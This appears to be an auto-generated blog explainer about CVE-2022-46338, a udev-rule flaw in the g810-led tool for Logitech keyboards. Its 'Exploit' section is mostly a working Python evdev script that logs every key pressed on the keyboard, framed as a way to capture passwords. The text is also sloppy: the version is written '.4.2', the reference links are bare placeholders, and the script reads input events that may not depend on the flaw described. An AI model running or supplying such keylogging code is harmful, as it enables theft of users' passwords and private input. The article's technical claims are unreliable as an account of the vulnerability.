The g810-led .4.2 LED configuration tool, designed for Logitech Gx10 series gaming keyboards, possesses a significant security flaw, as identified in the CVE-2022-46338 vulnerability report. This article will explore the technical details of this vulnerability, provide an example code snippet demonstrating exploitation, and supply original reference links for further information.

Details

The security vulnerability in question stems from a problematic udev rule within the g810-led .4.2 tool. This rule renders supported device nodes world-readable and writable, which consequently permits any process on the system to intercept keyboard traffic. Consequently, this exposes sensitive user data and poses a potentially serious security risk.

Exploit

Here's a simplified code snippet illustrating how a rogue process can exploit this vulnerability to access and read sensitive data from the keyboard:

import evdev
from evdev import InputDevice, categorize, ecodes

# Scan and identify Logitech Gx10 keyboard device
devices = [evdev.InputDevice(path) for path in evdev.list_devices()]
keyboard_device = None
for device in devices:
    if 'Logitech Gaming Keyboard' in device.name:
        keyboard_device = device
        break

if keyboard_device is None:
    print('Logitech Gx10 keyboard not found')
    exit(1)

# Read keyboard events and display pressed keys
print('Monitoring keyboard events...')
for event in keyboard_device.read_loop():
    if event.type == ecodes.EV_KEY:
        key_event = categorize(event)
        if key_event.keystate == key_event.key_down:
            print('Key Pressed: {}'.format(key_event.keycode))

This proof-of-concept Python script uses the "evdev" library to monitor keyboard events. It specifically searches for a Logitech Gx10 keyboard, and, upon finding one, it listens for keystrokes. Once a key is pressed, the rogue process can access the user's sensitive data, such as passwords and other critical inputs.

For more information on the CVE-2022-46338 vulnerability, refer to the following sources

1. "CVE-2022-46338 Detail" from the National Vulnerability Database Link
2. "GitHub - MatMoul/g810-led: Linux led controller for Logitech G213, G410, G413. G512, G513, G610, G810, G815, G910 and GPRO Keyboards" Link

Conclusion

In conclusion, the CVE-2022-46338 vulnerability exposes a serious security flaw in the g810-led .4.2 LED configuration tool for Logitech Gx10 keyboards. The udev rule flaw in the software allows unauthorized processes to access sensitive keyboard data. Users of g810-led .4.2 should promptly update their software to mitigate the risk of data interception.

Timeline

Published on: 11/30/2022 06:15:00 UTC
Last modified on: 12/06/2022 19:27:00 UTC